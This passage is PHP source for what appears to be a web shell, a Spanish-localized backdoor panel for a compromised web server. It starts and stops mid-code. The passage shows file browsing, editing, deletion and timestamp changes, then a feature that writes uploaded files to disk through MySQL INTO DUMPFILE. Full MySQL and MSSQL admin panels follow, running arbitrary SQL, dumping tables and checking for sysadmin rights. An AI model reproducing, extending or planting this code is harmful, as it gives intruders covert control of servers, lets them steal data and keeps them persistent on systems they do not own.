Directory</a></td>');p('</tr>');}}}p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');makehide('action','file');makehide('thefile');makehide('doing');makehide('dir',$nowpath);$file_i = '0';foreach($filedata as $key => $filedb){if($filedb['filename']!='..' && $filedb['filename']!='.') {$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');p('<td nowrap>'.$filedb['mtime'].'</td>');p('<td nowrap>'.$filedb['size'].'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');p('<td nowrap>');p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Descargar</a> | ');p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copiar</a> | ');p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Editar</a> | ');p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Renombrar</a> | ');p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Tiempo</a>');p('</td></tr>');$file_i++;}}p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Descargar seleccionados</a> - <a href="javascript:dofile(\'delfiles\');">Borrar seleccionados</a></td><td colspan="4" align="right">'.$dir_i.' directorios / '.$file_i.' archivos</td></tr>');p('</form></table>');
}elseif ($action == 'sqlfile') {if($doing=="mysqlupload"){$file = $_FILES['uploadfile'];$filename = $file['tmp_name'];if (file_exists($savepath)) {m('El archivo ya existe');} else {if(!$filename) {m('Elija un archivo');} else {$fp=@fopen($filename,'r');$contents=@fread($fp, filesize($filename));@fclose($fp);$contents = bin2hex($contents);if(!$upname) $upname = $file['name'];mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");m($result ? 'Subida con exito' : 'Subida fallida: '.mysql_error());}}}?>
<script type="text/javascript">
function mysqlfile(doing){if(!doing) return;$('doing').value=doing;$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;$('mysqlfile').dbport.value=$('dbinfo').dbport.value;$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;$('mysqlfile').dbname.value=$('dbinfo').dbname.value;$('mysqlfile').charset.value=$('dbinfo').charset.value;$('mysqlfile').submit();
}</script>
<?php
!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'root';!$dbport && $dbport = '3306';formhead(array('title'=>'MYSQL Info','name'=>'dbinfo'));makehide('action','sqlfile');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));p('DBName:');makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));p('</p>');formfoot();p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');p('<h2>Subir archivo</h2>');p('<p><b>Para realizar esto el usuario DB debe tener privilegios FILE</b></p>');p('<p>Ruta guardado: <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');p('<h2>Descargar archivo</h2>');p('<p>Archivo: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Descargar</a></p>');makehide('dbhost');makehide('dbport');makehide('dbuser');makehide('dbpass');makehide('dbname');makehide('charset');makehide('doing');makehide('action','sqlfile');p('</form>');
}elseif ($action == 'mysqladmin') {!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'root';!$dbport && $dbport = '3306';$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';if(isset($dbhost)){$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";}if(isset($dbuser)) {$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";}if(isset($dbpass)) {$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";}if(isset($dbport)) {$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";}if(isset($dbname)) {$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";}if(isset($charset)) {$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";}if ($doing == 'backupmysql' && $saveasfile) {if (!$table) {m('Please choose the table');} else {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$table = array_flip($table);$fp = @fopen($path,'w');if ($fp) {$result = q('SHOW tables');if (!$result) p('<h2>'.mysql_error().'</h2>');$mysqldata = '';while ($currow = mysql_fetch_array($result)) {if (isset($table[$currow[0]])) {sqldumptable($currow[0], $fp);}}fclose($fp);$fileurl = str_replace(SA_ROOT,'',$path);m('Backup creado en <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');mysql_close();} else {m('Backup fallido');}}}if ($insert && $insertsql) {$keystr = $valstr = $tmp = '';foreach($insertsql as $key => $val) {if ($val) {$keystr .= $tmp.$key;$valstr .= $tmp."'".addslashes($val)."'";$tmp = ',';}}if ($keystr && $valstr) {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Ingrese nuevo registro' : mysql_error()); }}if ($update && $insertsql && $base64) {$valstr = $tmp = '';foreach($insertsql as $key => $val) {$valstr .= $tmp.$key."='".addslashes($val)."'";$tmp = ',';}if ($valstr) {$where = base64_decode($base64);mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Actualizando registro' : mysql_error());}}if ($doing == 'del' && $base64) {$where = base64_decode($base64);$delete_sql = "DELETE FROM $tablename WHERE $where";mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("DELETE FROM $tablename WHERE $where") ? 'Borrando registro' : mysql_error());}if ($tablename && $doing == 'drop') {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);if (q("DROP TABLE $tablename")) {m('Drop table exitoso');$tablename = '';} else {m(mysql_error());}}formhead(array('title'=>'MYSQL'));makehide('action','mysqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));makeinput(array('name'=>'connect','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();
}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();
}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();
}</script>
<?php
formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mysqladmin');makehide('base64');makehide('tablename');p($dbform);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mysqladmin');p($dbform);if (!$dbname) {makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mysqladmin');p($dbform);makehide('tablename');makehide('page',$page);makehide('doing');formfoot();$cachetables = array();
$pagenum = 30;$page = intval($page);if($page) {$start_limit = ($page - 1) * $pagenum;} else {$start_limit = 0;$page = 1;}if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);$mysqlver = mysql_get_server_info();p('<p>MySQL '.$mysqlver.' ejecutandose en '.$dbhost.' como '.$dbuser.'@'.$dbhost.'</p>');$highver = $mysqlver > '4.1' ? 1 : 0;$query = q("SHOW DATABASES");$dbs = array();$dbs[] = '-- Seleccione una database --';while($db = mysql_fetch_array($query)) {$dbs[$db['Database']] = $db['Database'];}makeselect(array('title'=>'Seleccione una database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$tabledb = array();if ($dbname) {p('<p>');p('Database: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');if ($tablename) {p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}p('</p>');mysql_select_db($dbname);$getnumsql = '';$runquery = 0;if ($sql_query) {$runquery = 1;}$allowedit = 0;if ($tablename && !$sql_query) {$sql_query = "SELECT * FROM $tablename";$getnumsql = $sql_query;$sql_query = $sql_query." LIMIT $start_limit, $pagenum";$allowedit = 1;}p('<form action="'.$self.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Ejecutar Query SQL'.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Ejecutar" /></td></tr></table></p>');makehide('tablename', $tablename);makehide('action','mysqladmin');p($dbform);p('</form>');if ($tablename || ($runquery && $sql_query)) {if ($doing == 'structure') {$result = q("SHOW COLUMNS FROM $tablename");$rowdb = array();while($row = mysql_fetch_array($result)) {$rowdb[] = $row;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Null</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach ($rowdb as $row) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td>'.$row['Field'].'</td>');p('<td>'.$row['Type'].'</td>');p('<td>'.$row['Null'].'&nbsp;</td>');p('<td>'.$row['Key'].'&nbsp;</td>');p('<td>'.$row['Default'].'&nbsp;</td>');p('<td>'.$row['Extra'].'&nbsp;</td>');p('</tr>');}tbfoot();} elseif ($doing == 'insert' || $doing == 'edit') {$result = q('SHOW COLUMNS FROM '.$tablename);while ($row = mysql_fetch_array($result)) {$rowdb[] = $row;}$rs = array();if ($doing == 'insert') {p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');} else {p('<h2>Update record in '.$tablename.' table &raquo;</h2>');$where = base64_decode($base64);$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");$rs = mysql_fetch_array($result);}p('<form method="post" action="'.$self.'">');p($dbform);makehide('action','mysqladmin');makehide('tablename',$tablename);p('<table border="0" cellpadding="3" cellspacing="0">');foreach ($rowdb as $row) {if ($rs[$row['Field']]) {$value = htmlspecialchars($rs[$row['Field']]);} else {$value = '';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.'&nbsp;</td></tr>');} else {p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');}}if ($doing == 'insert') {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insertar" /></td></tr>');} else {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Actualizar" /></td></tr>');makehide('base64', $base64);}p('</table></form>');} else {$querys = @explode(';',$sql_query);foreach($querys as $num=>$query) {if ($query) {p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");switch(qy($query)){case 0:
p('<h2>Error : '.mysql_error().'</h2>');break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {$allowedit = 1;}if ($getnumsql) {$tatol = mysql_num_rows(q($getnumsql));$multipage = multi($tatol, $pagenum, $page, $tablename);}if (!$tablename) {$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$tablename = $matches[1][0];}
$getfield = q("SHOW COLUMNS FROM $tablename");$rowdb = array();$keyfied = '';while($row = @mysql_fetch_assoc($getfield)) {$rowdb[$row['Field']]['Key'] = $row['Key'];$rowdb[$row['Field']]['Extra'] = $row['Extra'];if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {$keyfied = $row['Field'];}}if (strtolower(substr($query,0,13)) == 'select * from') {$query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);}$result = q($query);p($multipage);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if ($allowedit) p('<td>Action</td>');$fieldnum = @mysql_num_fields($result);for($i=0;$i<$fieldnum;$i++){$name = @mysql_field_name($result, $i);$type = @mysql_field_type($result, $i);$len = @mysql_field_len($result, $i);p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");}p('</tr>');while($mn = @mysql_fetch_assoc($result)){$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$where = $tmp = $b1 = '';foreach($mn as $key=>$inside){if ($inside) {if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {$where = $key."='".addslashes($inside)."'";break;}$where .= $tmp.$key."='".addslashes($inside)."'";$tmp = ' AND ';}}foreach($mn as $key=>$inside){$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';}$where = base64_encode($where);if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Editar</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Borrar</a></td>');p($b1);p('</tr>');unset($b1);}tbfoot();p($multipage);break;case 2:
$ar = mysql_affected_rows();p('<h2>Columnas afectadas : <b>'.$ar.'</b></h2>');break;}}}}} else {$query = q("SHOW TABLE STATUS");$table_num = $table_rows = $data_size = 0;$tabledb = array();while($table = mysql_fetch_array($query)) {$data_size = $data_size + $table['Data_length'];$table_rows = $table_rows + $table['Rows'];$table['Data_length'] = sizecount($table['Data_length']);$table_num++;$tabledb[] = $table;}$data_size = sizecount($data_size);unset($table);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$self.'" method="POST">');makehide('action','mysqladmin');p($dbform);p('<tr class="head">');p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');p('<td>Nombre</td>');p('<td>Rows</td>');p('<td>Data_length</td>');p('<td>Create_time</td>');p('<td>Update_time</td>');if ($highver) {p('<td>Engine</td>');p('<td>Collation</td>');}p('<td>Operate</td>');p('</tr>');foreach ($tabledb as $key => $table) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');p('<td>'.$table['Rows'].'</td>');p('<td>'.$table['Data_length'].'</td>');p('<td>'.$table['Create_time'].'&nbsp;</td>');p('<td>'.$table['Update_time'].'&nbsp;</td>');if ($highver) {p('<td>'.$table['Engine'].'</td>');p('<td>'.$table['Collation'].'</td>');}p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insertar</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Estructura</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td>&nbsp;</td>');p('<td>Total tablas: '.$table_num.'</td>');p('<td>'.$table_rows.'</td>');p('<td>'.$data_size.'</td>');p('<td colspan="'.($highver ? 5 : 3).'">&nbsp;</td>');p('</tr>');p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Guardar como <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Exportar seleccionadas\" /></td></tr>");makehide('doing','backupmysql');formfoot();p("</table>");fr($query);}}}tbfoot();@mysql_close();
}elseif ($action == 'mssqladmin') {!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'sa';!$dbname && $dbname = 'master';$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';if(isset($dbhost)){$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";}if(isset($dbuser)) {$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";}if(isset($dbpass)) {$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";}if(isset($dbname)) {$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";}if ($insert && $insertsql) {$keystr = $valstr = $tmp = '';foreach($insertsql as $key => $val) {if ($val) {$keystr .= $tmp.$key;$valstr .= $tmp."'".addslashes($val)."'";$tmp = ',';}}if ($keystr && $valstr) {msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Ingrese nuevo registro' : msmsg());}}if ($update && $insertsql && $base64) {$valstr = $tmp = '';foreach($insertsql as $key => $val) {$valstr .= $tmp.$key."='".addslashes($val)."'";$tmp = ',';}if ($valstr) {$where = base64_decode($base64);msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("UPDATE $tablename SET $valstr WHERE $where") ? 'Actualizando registro' : msmsg());}}if ($doing == 'del' && $base64) {$where = base64_decode($base64);$delete_sql = "DELETE FROM $tablename WHERE $where";msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("DELETE FROM $tablename WHERE $where") ? 'Borrando registro' : msmsg());}if ($tablename && $doing == 'drop') {msdbconn($dbhost,$dbuser,$dbpass,$dbname);if (msq("DROP TABLE $tablename")) {m('Drop table of success');$tablename = '';} else {m(msmsg());}}formhead(array('title'=>'MSSQL'));makehide('action','mssqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));makeinput(array('name'=>'connect','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();
}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();
}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();
}function mssqlinfo(dbname) {if(!dbname) return;$('mssqlinfo').dbname.value=dbname;$('mssqlinfo').submit();
}</script>
<?php
formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mssqladmin');makehide('base64');makehide('tablename');p($dbform);formfoot();formhead(array('name'=>'mssqlinfo'));makehide('action','mssqladmin');makehide('doing','mssqlinfo');makehide('dbname');p($dbform);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mssqladmin');p($dbform);if (!$dbname) {makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mssqladmin');p($dbform);makehide('tablename');makehide('page',$page);makehide('doing');formfoot();$cachetables = array();
$pagenum = 30;$page = intval($page);if($page) {$start_limit = ($page - 1) * $pagenum;} else {$start_limit = 0;$page = 1;}if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {!$dbname && $dbname = 'master';msdbconn($dbhost, $dbuser, $dbpass, $dbname);$query = msq('select @@version');$msinfo = mssql_fetch_array($query);echo '<p>'.$msinfo[0].'</p>';$query = msq("SELECT IS_SRVROLEMEMBER('sysadmin')");$msinfo = mssql_fetch_array($query);$issa = 0;if ($msinfo[0]) {$issa = 1;echo '<h3>Eres sysadmin!</h3>';}$query = msq("SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 ORDER BY name");$dbs = array();$dbs[] = '-- Seleccione una DB --';while($db = mssql_fetch_array($query)) {$dbs[$db['name']] = $db['name'];}makeselect(array('title'=>'Seleccione la DB:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$tabledb = array();if ($dbname) {p('<p>');p('Database: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a> [ <a href="javascript:mssqlinfo(\''.$dbname.'\');">information</a> ]');if ($tablename) {p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}p('</p>');if (!@mssql_select_db($dbname)) {p('<h2>'.msmsg().'</h2>');exit;}if ($doing == 'mssqlinfo') {$result = msq("SELECT t1.owner, t1.crdate, t1.size, t2.DBBupDate, t3.DifBupDate, t4.JournalBupDate FROM (SELECT d.name, suser_sname(d.sid) AS owner, d.crdate, (SELECT STR(SUM(CONVERT(DEC(15), f.size)) * (SELECT v.low FROM master.dbo.spt_values v WHERE v.type = 'E' AND v.number = 1) / 1048576, 10, 2) + 'MB' FROM [$dbname].dbo.sysfiles f) AS size FROM master.dbo.sysdatabases d WHERE d.name = '$dbname') AS t1 LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DBBupDate FROM msdb.dbo.backupset WHERE type = 'D' AND database_name = '$dbname') AS t2 ON t1.name = t2.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DifBupDate FROM msdb.dbo.backupset WHERE type = 'I' AND database_name = '$dbname') AS t3 ON t1.name = t3.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS JournalBupDate FROM msdb.dbo.backupset WHERE type = 'L' AND database_name = '$dbname') AS t4 ON t1.name = t4.name");$info = mssql_fetch_assoc($result);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td colspan="2">'.$dbname.' Information</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Owner</td><td>'.$info['owner'].'</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Create date</td><td>'.$info['crdate'].'</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Size</td><td>'.$info['size'].'</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Last backup</td><td>'.$info['DBBupDate'].'&nbsp;</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Last differential backup</td><td>'.$info['DifBupDate'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Last log backup</td><td>'.$info['JournalBupDate'].'&nbsp;</td>');p('</tr>');tbfoot();p('<br /><br />');$result = msq("EXEC sp_helpfile");$rowdb = array();while ($row = mssql_fetch_assoc($result)) {$rowdb[] = $row;}foreach($rowdb as $row){p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td colspan="2">'.$row['name'].'</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Filename</td><td>'.$row['filename'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Filegroup</td><td>'.$row['filegroup'].'&nbsp;</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Size</td><td>'.$row['size'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Maxsize</td><td>'.$row['maxsize'].'&nbsp;</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Growth</td><td>'.$row['growth'].'&nbsp;</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Usage</td><td>'.$row['usage'].'&nbsp;</td>');p('</tr>');tbfoot();p('<br /><br />');}} else {$getnumsql = '';$runquery = 0;if ($sql_query) {$runquery = 1;}$allowedit = 0;if ($tablename && !$sql_query) {$sql_query = "SELECT * FROM $tablename";$getnumsql = "SELECT count(*) FROM $tablename";$allowedit = 1;}p('<form action="'.$self.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');makehide('tablename', $tablename);makehide('action','mssqladmin');p($dbform);p('</form>');if ($tablename || ($runquery && $sql_query)) {if ($doing == 'structure') {$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();while($row = mssql_fetch_array($result)) {$rowdb[] = $row;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Length</td>');p('<td>Isnullable</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach ($rowdb as $row) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td>'.$row['name'].'</td>');p('<td>'.$row['type'].'['.$row['xtype'].']</td>');p('<td>'.$row['length'].'&nbsp;</td>');p('<td>'.($row['isnullable'] ? 'Yes' : 'No').'&nbsp;</td>');p('<td>'.($row['colstat'] ? 'PRIMARY' : '').'&nbsp;</td>');p('<td>'.$row['text'].'&nbsp;</td>');p('<td>'.($row['autoval'] ? 'Auto_increment' : '').'&nbsp;</td>');p('</tr>');}tbfoot();} elseif ($doing == 'insert' || $doing == 'edit') {$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = 